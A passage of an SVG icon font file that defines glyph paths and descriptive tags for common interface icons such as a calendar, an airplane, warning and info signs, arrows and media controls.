-9.5-22.5t-22.5-9.5l-352,0 q-13,0 -22.5,9.5t-9.5,22.5l0,320 q0,13 9.5,22.5t 22.5,9.5l 32,0 l0,24 q0,16.5 11.75,28.25t 28.25,11.75l 16,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 96,0 l0,24 q0,16.5 11.75,28.25t 28.25,11.75 l 16,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 32,0 q 13,0 22.5-9.5t 9.5-22.5z" horiz-adv-x="416" data-tags="calendar, date, schedule" />
<glyph unicode="&#xf072;" d="M 344,344q 11-13 3-37t-27-43l-40.25-40.25l 40-174q 1.25-4.75 -3-8.25l-32-24q-1.75-1.5 -4.75-1.5q-1,0 -1.75,0.25q-3.75,0.75 -5.25,4l-69.75,127l-64.75-64.75l 13.25-48.5q 1.25-4.25 -2-7.75l-24-24q-2.25-2.25 -5.75-2.25l-0.5,0 q-3.75,0.5 -6,3.25l-47.25,63l-63,47.25q-2.75,1.75 -3.25,5.75q-0.25,3.25 2.25,6.25l 24,24.25q 2.25,2.25 5.75,2.25 q 1.5,0 2-0.25l 48.5-13.25l 64.75,64.75l-127,69.75q-3.5,2 -4.25,6q-0.5,4 2.25,6.75l 32,32q 3.5,3.25 7.5,2l 166.25-39.75l 40,40q 19,19 43,27t 37-3z" horiz-adv-x="352" data-tags="plane, airplane, aircraft, flight, vacation, travel" />
<glyph unicode="&#xf071;" d="M 256,40.25l0,47.5 q0,3.5 -2.375,5.875t-5.625,2.375l-48,0 q-3.25,0 -5.625-2.375t-2.375-5.875l0-47.5 q0-3.5 2.375-5.875t 5.625-2.375l 48,0 q 3.25,0 5.625,2.375t 2.375,5.875zM 255.5,133.75l 4.5,114.75q0,3 -2.5,4.75q-3.25,2.75 -6,2.75l-55,0 q-2.75,0 -6-2.75q-2.5-1.75 -2.5-5.25l 4.25-114.25q0-2.5 2.5-4.125t 6-1.625l 46.25,0  q 3.5,0 5.875,1.625t 2.625,4.125zM 252,367.25l 192-352q 8.75-15.75 -0.5-31.5q-4.25-7.25 -11.625-11.5t-15.875-4.25l-384,0 q-8.5,0 -15.875,4.25t-11.625,11.5q-9.25,15.75 -0.5,31.5l 192,352q 4.25,7.75 11.75,12.25t 16.25,4.5t 16.25-4.5t 11.75-12.25z" data-tags="warning-sign, sign" />
<glyph unicode="&#xf070;" d="M 138.75,50.25l 19.5,35.25q-21.75,15.75 -34,39.75t-12.25,50.75q0,30.25 15.25,56.25q-57.25-29.25 -95.25-88.25q 41.75-64.5 106.75-93.75zM 236,240q0,5 -3.5,8.5t-8.5,3.5q-31.25,0 -53.625-22.375t-22.375-53.625q0-5 3.5-8.5t 8.5-3.5t 8.5,3.5t 3.5,8.5q0,21.5 15.25,36.75t 36.75,15.25q 5,0 8.5,3.5t 3.5,8.5zM 326.75,287.75q0-1.75 -0.25-2.25 q-26.25-47 -78.75-141.5t-79-141.75l-12.25-22.25q-2.5-4 -7-4q-3,0 -33.5,17.5q-4,2.5 -4,7q0,3 11,21.75q-35.75,16.25 -65.875,43.25t-52.125,61.25q-5,7.75 -5,17.25t 5,17.25q 38.25,58.75 95,92.75t 124,34q 22.25,0 45-4.25l 13.5,24.25q 2.5,4 7,4q 1.25,0 4.5-1.5t 7.75-3.875t 8.25-4.625t 7.875-4.625t 4.875-2.875 q 4-2.5 4-6.75zM 336,176q0-34.75 -19.75-63.375t-52.25-41.125l 70,125.5q 2-11.25 2-21zM 448,144q0-8.75 -5-17.25q-9.75-16 -27.25-36.25q-37.5-43 -86.875-66.75t-104.875-23.75l 18.5,33q 53,4.5 98.125,34.25t 75.375,76.75q-28.75,44.75 -70.5,73.5l 15.75,28q 23.75-16 45.625-38.25t 36.125-46q 5-8.5 5-17.25z " data-tags="eye-close, blocked, private" />
<glyph unicode="&#xf06e;" d="M 416,144q-38,59 -95.25,88.25q 15.25-26 15.25-56.25q0-46.25 -32.875-79.125t-79.125-32.875t-79.125,32.875t-32.875,79.125q0,30.25 15.25,56.25q-57.25-29.25 -95.25-88.25q 33.25-51.25 83.375-81.625t 108.625-30.375t 108.625,30.375t 83.375,81.625zM 236,240q0,5 -3.5,8.5t-8.5,3.5q-31.25,0 -53.625-22.375 t-22.375-53.625q0-5 3.5-8.5t 8.5-3.5t 8.5,3.5t 3.5,8.5q0,21.5 15.25,36.75t 36.75,15.25q 5,0 8.5,3.5t 3.5,8.5zM 448,144q0-8.5 -5-17.25q-35-57.5 -94.125-92.125t-124.875-34.625t-124.875,34.75t-94.125,92q-5,8.75 -5,17.25t 5,17.25q 35,57.25 94.125,92t 124.875,34.75t 124.875-34.75t 94.125-92q 5-8.75 5-17.25z" data-tags="eye-open, view, visit" />
<glyph unicode="&#xf06d;" d="M 352-40l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 336,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,224q0-19.5 -6.125-36t-16-28.125t-21.875-22t-24-19.375t-21.875-18t-16-20.375t-6.125-24.125q0-24 16.75-56l-1,0.25l 0.25-0.25 q-22.5,10.25 -40,20.75t-34.625,25t-28.375,30.625t-18.125,37.625t-6.875,46q0,19.5 6.125,36t 16,28.125t 21.875,22t 24,19.375t 21.875,18t 16,20.375t 6.125,24.125q0,23.5 -16.5,56l 0.75-0.25l-0.25,0.25q 22.5-10.25 40-20.75t 34.625-25t 28.375-30.625t 18.125-37.625t 6.875-46z" horiz-adv-x="352" data-tags="fire, hot" />
<glyph unicode="&#xf06c;" d="M 320,208q0,6.5 -4.75,11.25t-11.25,4.75q-43,0 -79.5-12.375t-64.875-33.5t-58.875-54.875q-4.75-5.25 -4.75-11.25q0-6.5 4.75-11.25t 11.25-4.75q 6,0 11.25,4.75q 6.75,6 18.5,17.75t 16.75,16.5q 34.25,31 67.125,44t 78.375,13q 6.5,0 11.25,4.75t 4.75,11.25zM 448,257.5q0-23.75 -5-48.25q-11.5-56 -46.125-95.75t-89.375-67 q-53.5-27 -109.5-27q-37,0 -71.5,11.75q-3.75,1.25 -22,10.5t-24,9.25q-4,0 -9.875-8t-11.25-17.5t-13.125-17.5t-15-8q-7.5,0 -12.75,2.75t-7.75,6t-6.75,10.5q-0.5,1 -1.5,2.75t-1.375,2.5t-0.75,2.375t-0.375,3.375q0,8.75 7.75,18.375t 17,16.375t 17,14t 7.75,12q0,1 -3.5,9.5t-4,11q-2.25,12.75 -2.25,26q0,28.75 10.875,55t 29.75,46.125 t 42.625,34.75t 51,23.875q 13.75,4.5 36.25,6.375t 44.875,2.25t 44.625,1.5t 40.875,6t 28.375,14.125l 7.375,7.375t 7.375,7t 6.75,5t 9.125,4t 10.875,1.125q 9.75,0 17.625-11.5t 11.875-28t 6-31t 2-24z" data-tags="leaf, nature, green" />
<glyph unicode="&#xf06b;" d="M 232,45l0,14 l0,117 l0,48 l-80,0 l0-48 l0-117 l0-14 q0-6.25 4.5-9.625t 11.5-3.375l 48,0 q 7,0 11.5,3.375t 4.5,9.625zM 118,256l 48.75,0 l-31.5,40.25q-6.5,7.75 -17.25,7.75q-10,0 -17-7t-7-17t 7-17t 17-7zM 290,280q0,10 -7,17t-17,7q-10.75,0 -17.25-7.75l-31.25-40.25l 48.5,0 q 10,0 17,7t 7,17zM 384,216l0-80  q0-3.5 -2.25-5.75t-5.75-2.25l-24,0 l0-104 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7t-7,17l0,104 l-24,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,80 q0,3.5 2.25,5.75t 5.75,2.25l 110,0 q-23.25,0 -39.625,16.375t-16.375,39.625t 16.375,39.625t 39.625,16.375q 26.75,0 42-19.25l 32-41.25l 32,41.25q 15.25,19.25 42,19.25q 23.25,0 39.625-16.375t 16.375-39.625 t-16.375-39.625t-39.625-16.375l 110,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="384" data-tags="gift, present, birthday, holiday" />
<glyph unicode="&#xf06a;" d="M 192,352q 52.25,0 96.375-25.75t 69.875-69.875t 25.75-96.375t-25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75zM 224,40.25l0,47.5 q0,3.5 -2.25,5.875t-5.5,2.375l-48,0 q-3.25,0 -5.75-2.5t-2.5-5.75l0-47.5 q0-3.25 2.5-5.75t 5.75-2.5l 48,0  q 3.25,0 5.5,2.375t 2.25,5.875zM 223.5,126.25l 4.5,155.25q0,3 -2.5,4.5q-2.5,2 -6,2l-55,0 q-3.5,0 -6-2q-2.5-1.5 -2.5-4.5l 4.25-155.25q0-2.5 2.5-4.375t 6-1.875l 46.25,0 q 3.5,0 5.875,1.875t 2.625,4.375z" horiz-adv-x="384" data-tags="exclamation-sign, sign, notification, attention, warning" />
<glyph unicode="&#xf069;" d="M 370.5,121.5q 11.5-6.5 14.875-19.375t-3.125-24.375l-16-27.5q-6.5-11.5 -19.375-14.875t-24.375,3.125l-66.5,38.25l0-76.75 q0-13 -9.5-22.5t-22.5-9.5l-32,0 q-13,0 -22.5,9.5t-9.5,22.5l0,76.75 l-66.5-38.25q-11.5-6.5 -24.375-3.125t-19.375,14.875l-16,27.5q-6.5,11.5 -3.125,24.375t 14.875,19.375l 66.5,38.5l-66.5,38.5 q-11.5,6.5 -14.875,19.375t 3.125,24.375l 16,27.5q 6.5,11.5 19.375,14.875t 24.375-3.125l 66.5-38.25l0,76.75 q0,13 9.5,22.5t 22.5,9.5l 32,0 q 13,0 22.5-9.5t 9.5-22.5l0-76.75 l 66.5,38.25q 11.5,6.5 24.375,3.125t 19.375-14.875l 16-27.5q 6.5-11.5 3.125-24.375t-14.875-19.375l-66.5-38.5z" horiz-adv-x="416" data-tags="asterisk, star" />
<glyph unicode="&#xf068;" d="M 352,200l0-48 q0-10 -7-17t-17-7l-304,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 304,0 q 10,0 17-7t 7-17z" horiz-adv-x="352" data-tags="minus, remove, delete, subtract" />
<glyph unicode="&#xf067;" d="M 352,200l0-48 q0-10 -7-17t-17-7l-104,0 l0-104 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,104 l-104,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 104,0 l0,104 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17l0-104 l 104,0 q 10,0 17-7t 7-17z" horiz-adv-x="352" data-tags="plus, add, sum" />
<glyph unicode="&#xf066;" d="M 192,144l0-112 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-36,36l-83-83q-2.5-2.5 -5.75-2.5t-5.75,2.5l-28.5,28.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 83,83l-36,36q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 112,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 380.75,312q0-3.25 -2.5-5.75l-83-83l 36-36q 4.75-4.75 4.75-11.25t-4.75-11.25 t-11.25-4.75l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 36-36l 83,83q 2.5,2.5 5.75,2.5t 5.75-2.5l 28.5-28.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="384" data-tags="resize-small, contract, collapse" />
<glyph unicode="&#xf065;" d="M 188.75,120q0-3.25 -2.5-5.75l-83-83l 36-36q 4.75-4.75 4.75-11.25t-4.75-11.25t-11.25-4.75l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 36-36l 83,83q 2.5,2.5 5.75,2.5t 5.75-2.5l 28.5-28.5q 2.5-2.5 2.5-5.75zM 384,336l0-112 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-36,36l-83-83 q-2.5-2.5 -5.75-2.5t-5.75,2.5l-28.5,28.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 83,83l-36,36q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 112,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" data-tags="resize-full, expand, enlarge" />
<glyph unicode="&#xf064;" d="M 448,224q0-6.5 -4.75-11.25l-128-128q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,64 l-56,0 q-24.5,0 -43.875-1.5t-38.5-5.375t-33.25-10.625t-26.375-17.375t-20-25.25t-12.125-34.625t-4.375-45.25q0-13.75 1.25-30.75q0-1.5 0.625-5.875t 0.625-6.625q0-3.75 -2.125-6.25t-5.875-2.5q-4,0 -7,4.25q-1.75,2.25 -3.25,5.5 t-3.375,7.5t-2.625,6q-31.75,71.25 -31.75,112.75q0,49.75 13.25,83.25q 40.5,100.75 218.75,100.75l 56,0 l0,64 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 128-128q 4.75-4.75 4.75-11.25z" data-tags="share-alt, arrow, forward" />
<glyph unicode="&#xf063;" d="M 402.75,176q0-13.25 -9.25-22.5l-162.75-163q-9.75-9.25 -22.75-9.25q-13.25,0 -22.5,9.25l-162.75,163q-9.5,9 -9.5,22.5q0,13.25 9.5,22.75l 18.5,18.75q 9.75,9.25 22.75,9.25q 13.25,0 22.5-9.25l 73.5-73.5l0,176 q0,13 9.5,22.5t 22.5,9.5l 32,0 q 13,0 22.5-9.5t 9.5-22.5l0-176 l 73.5,73.5q 9.25,9.25 22.5,9.25q 13,0 22.75-9.25l 18.75-18.75q 9.25-9.75 9.25-22.75z" horiz-adv-x="416" data-tags="arrow-down, download, bottom" />
<glyph unicode="&#xf062;" d="M 402.75,141.25q0-12.75 -9.25-22.5l-18.75-18.75q-9.5-9.5 -22.75-9.5q-13.5,0 -22.5,9.5l-73.5,73.25l0-176 q0-13 -9.375-21.125t-22.625-8.125l-32,0 q-13.25,0 -22.625,8.125t-9.375,21.125l0,176 l-73.5-73.25q-9-9.5 -22.5-9.5t-22.5,9.5l-18.75,18.75q-9.5,9.5 -9.5,22.5q0,13.25 9.5,22.75l 162.75,162.75q 8.75,9.25 22.5,9.25q 13.5,0 22.75-9.25l 162.75-162.75 q 9.25-9.75 9.25-22.75z" horiz-adv-x="416" data-tags="arrow-up, upload, top" />
<glyph unicode="&#xf061;" d="M 368,144q0-13.5 -9.25-22.75l-162.75-162.75q-9.75-9.25 -22.75-9.25q-12.75,0 -22.5,9.25l-18.75,18.75q-9.5,9.5 -9.5,22.75t 9.5,22.75l 73.25,73.25l-176,0 q-13,0 -21.125,9.375t-8.125,22.625l0,32 q0,13.25 8.125,22.625t 21.125,9.375l 176,0 l-73.25,73.5q-9.5,9 -9.5,22.5t 9.5,22.5l 18.75,18.75q 9.5,9.5 22.5,9.5q 13.25,0 22.75-9.5l 162.75-162.75q 9.25-8.75 9.25-22.5z" horiz-adv-x="384" data-tags="arrow-right, next, right" />
<glyph unicode="&#xf060;" d="M 384,160l0-32 q0-13.25 -8.125-22.625t-21.125-9.375l-176,0 l 73.25-73.5q 9.5-9 9.5-22.5t-9.5-22.5l-18.75-19q-9.25-9.25 -22.5-9.25q-13,0 -22.75,9.25l-162.75,163q-9.25,9.25 -9.25,22.5q0,13 9.25,22.75l 162.75,162.5q 9.5,9.5 22.75,9.5q 13,0 22.5-9.5l 18.75-18.5q 9.5-9.5 9.5-22.75t-9.5-22.75l-73.25-73.25l 176,0 q 13,0 21.125-9.375 t 8.125-22.625z" horiz-adv-x="384" data-tags="arrow-left, previous, left" />
<glyph unicode="&#xf05e;" d="M 328,160.75q0,40.25 -21.75,73.75l-188.5-188.25q 34.25-22.25 74.25-22.25q 27.75,0 52.875,10.875t 43.375,29.125t 29,43.625t 10.75,53.125zM 78.25,86l 188.75,188.5q-33.75,22.75 -75,22.75q-37,0 -68.25-18.25t-49.5-49.75t-18.25-68.5q0-40.5 22.25-74.75zM 384,160.75q0-39.25 -15.25-75t-40.875-61.5t-61.25-41t-74.625-15.25t-74.625,15.25 t-61.25,41t-40.875,61.5t-15.25,75t 15.25,74.875t 40.875,61.375t 61.25,41t 74.625,15.25t 74.625-15.25t 61.25-41t 40.875-61.375t 15.25-74.875z" horiz-adv-x="384" data-tags="ban-circle, block, forbidden" />
<glyph unicode="&#xf05d;" d="M 292.75,180.75l-105.5-105.5q-4.75-4.75 -11.25-4.75t-11.25,4.75l-73.5,73.5q-4.75,4.75 -4.75,11.25t 4.75,11.25l 25.5,25.5q 4.75,4.75 11.25,4.75t 11.25-4.75l 36.75-36.75l 68.75,68.75q 4.75,4.75 11.25,4.75t 11.25-4.75l 25.5-25.5q 4.75-4.75 4.75-11.25t-4.75-11.25zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5 t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="ok-circle, correct, tick, checkmark" />
<glyph unicode="&#xf05c;" d="M 274.25,114.25l-36.5-36.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-34.25,34.25l-34.25-34.25q-2.5-2.5 -5.75-2.5t-5.75,2.5l-36.5,36.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 34.25,34.25l-34.25,34.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 36.5,36.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 34.25-34.25l 34.25,34.25q 2.5,2.5 5.75,2.5t 5.75-2.5l 36.5-36.5q 2.5-2.5 2.5-5.75t-2.5-5.75 l-34.25-34.25l 34.25-34.25q 2.5-2.5 2.5-5.75t-2.5-5.75zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375 t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="remove-circle, cancel, close, remove, delete" />
<glyph unicode="&#xf05b;" d="M 299.25,128l-27.25,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 27.25,0 q-8,27 -28.125,47.125t-47.125,28.125l0-27.25 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,27.25 q-27-8 -47.125-28.125t-28.125-47.125l 27.25,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-27.25,0  q 8-27 28.125-47.125t 47.125-28.125l0,27.25 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-27.25 q 27,8 47.125,28.125t 28.125,47.125zM 384,176l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-35.75,0 q-9.25-40.25 -38.625-69.625t-69.625-38.625l0-35.75 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,35.75  q-40.25,9.25 -69.625,38.625t-38.625,69.625l-35.75,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 35.75,0 q 9.25,40.25 38.625,69.625t 69.625,38.625l0,35.75 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-35.75 q 40.25-9.25 69.625-38.625t 38.625-69.625l 35.75,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" data-tags="screenshot, target, goal, spot" />
<glyph unicode="&#xf05a;" d="M 256,40l0,40 q0,3.5 -2.25,5.75t-5.75,2.25l-24,0 l0,128 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-40 q0-3.5 2.25-5.75t 5.75-2.25l 24,0 l0-80 l-24,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-40 q0-3.5 2.25-5.75t 5.75-2.25l 112,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 224,264l0,40 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-40 q0-3.5 2.25-5.75 t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="info-sign, information, sign" />
<glyph unicode="&#xf059;" d="M 224,40l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 288,208q0,22 -13.875,40.75t-34.625,29t-42.5,10.25q-60.75,0 -92.75-53.25q-3.75-6 2-10.5l 33-25q 1.75-1.5 4.75-1.5q 4,0 6.25,3q 13.25,17 21.5,23q 8.5,6 21.5,6q 12,0 21.375-6.5t 9.375-14.75 q0-9.5 -5-15.25t-17-11.25q-15.75-7 -28.875-21.625t-13.125-31.375l0-9 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75q0,4.75 5.375,12.375t 13.625,12.375q 8,4.5 12.25,7.125t 11.5,8.75t 11.125,12t 7,15.125t 3.125,20.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="question-sign, help, support, sign" />
<glyph unicode="&#xf058;" d="M 321,200.5q0,7 -4.5,11.5l-22.75,22.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-102-101.75l-56.5,56.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-22.75-22.5q-4.5-4.5 -4.5-11.5q0-6.75 4.5-11.25l 90.5-90.5q 4.75-4.75 11.25-4.75q 6.75,0 11.5,4.75l 135.75,135.75q 4.5,4.5 4.5,11.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75 t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="ok-sign, checkmark, tick, correct, sign" />
<glyph unicode="&#xf057;" d="M 287.25,103.5q0,6.5 -4.75,11.25l-45.25,45.25l 45.25,45.25q 4.75,4.75 4.75,11.25q0,6.75 -4.75,11.5l-22.5,22.5q-4.75,4.75 -11.5,4.75q-6.5,0 -11.25-4.75l-45.25-45.25l-45.25,45.25q-4.75,4.75 -11.25,4.75q-6.75,0 -11.5-4.75l-22.5-22.5q-4.75-4.75 -4.75-11.5q0-6.5 4.75-11.25l 45.25-45.25l-45.25-45.25q-4.75-4.75 -4.75-11.25q0-6.75 4.75-11.5l 22.5-22.5q 4.75-4.75 11.5-4.75 q 6.5,0 11.25,4.75l 45.25,45.25l 45.25-45.25q 4.75-4.75 11.25-4.75q 6.75,0 11.5,4.75l 22.5,22.5q 4.75,4.75 4.75,11.5zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="remove-sign, cancel, remove, delete, close, sign" />
<glyph unicode="&#xf056;" d="M 304,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-192,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 192,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875 t 25.75-96.375z" horiz-adv-x="384" data-tags="minus-sign, remove, delete, subtract, sign" />
<glyph unicode="&#xf055;" d="M 304,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-64,0 l0,64 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-64 l-64,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 64,0 l0-64 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,64 l 64,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,160q0-52.25 -25.75-96.375 t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="plus-sign, add, sum, sign" />
<glyph unicode="&#xf054;" d="M 274.75,176q0-13 -9.25-22.75l-163-162.75q-9.25-9.25 -22.5-9.25t-22.5,9.25l-19,18.75q-9.25,9.75 -9.25,22.75q0,13.25 9.25,22.5l 121.5,121.5l-121.5,121.25q-9.25,9.75 -9.25,22.75q0,13.25 9.25,22.5l 19,18.75q 9,9.5 22.5,9.5t 22.5-9.5l 163-162.75q 9.25-9.25 9.25-22.5z" horiz-adv-x="288" data-tags="chevron-right, right, arrow-right, next" />
<glyph unicode="&#xf053;" d="M 185.5-9.25l-163,162.75q-9.25,9.25 -9.25,22.625t 9.25,22.625l 163,162.75q 9.25,9.25 22.625,9.25t 22.625-9.25l 18.75-18.75q 9.25-9.25 9.25-22.625t-9.25-22.625l-121.5-121.5l 121.5-121.25q 9.25-9.5 9.25-22.75t-9.25-22.5l-18.75-18.75q-9.25-9.25 -22.625-9.25t-22.625,9.25z" horiz-adv-x="288" data-tags="chevron-left, arrow-left, left, previous" />
<glyph unicode="&#xf052;" d="M 3.5,139.25l 177.5,177.5q 4.75,4.75 11.25,4.75t 11.25-4.75l 177.5-177.5q 4.75-4.75 3.25-8t-8-3.25l-368,0 q-6.5,0 -8,3.25t 3.25,8zM 368.25,0l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-64 q0-6.5 -4.75-11.25t-11.25-4.75z" horiz-adv-x="384.5" data-tags="eject, media, control" />
<glyph unicode="&#xf051;" d="M 11.25-28.75q-4.75-4.75 -8-3.25t-3.25,8l0,368 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 2-2 3.25-4.75l0,169.5 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,169.5 q-1.25-2.5 -3.25-4.75z" horiz-adv-x="256" data-tags="step-forward, forward, next, media, control" />
<glyph unicode="&#xf050;" d="M 11.25-28.75q-4.75-4.75 -8-3.25t-3.25,8l0,368 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 2-2 3.25-4.75l0,177.5 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 2-2 3.25-4.75l0,169.5 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,169.5 q-1.25-2.5 -3.25-4.75l-177.5-177.5 q-4.75-4.75 -8-3.25t-3.25,8l0,177.5 q-1.25-2.5 -3.25-4.75z" data-tags="fast-forward, forward, next, media, control" />
<glyph unicode="&#xf04e;" d="M 11.25-28.75q-4.75-4.75 -8-3.25t-3.25,8l0,368 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 2-2 3.25-4.75l0,177.5 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 4.75-4.75 4.75-11.25t-4.75-11.25l-177.5-177.5q-4.75-4.75 -8-3.25t-3.25,8l0,177.5 q-1.25-2.5 -3.25-4.75z" horiz-adv-x="416" data-tags="forward, next, media, control" />
<glyph unicode="&#xf04d;" d="M 384,336l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" data-tags="stop, media, control" />
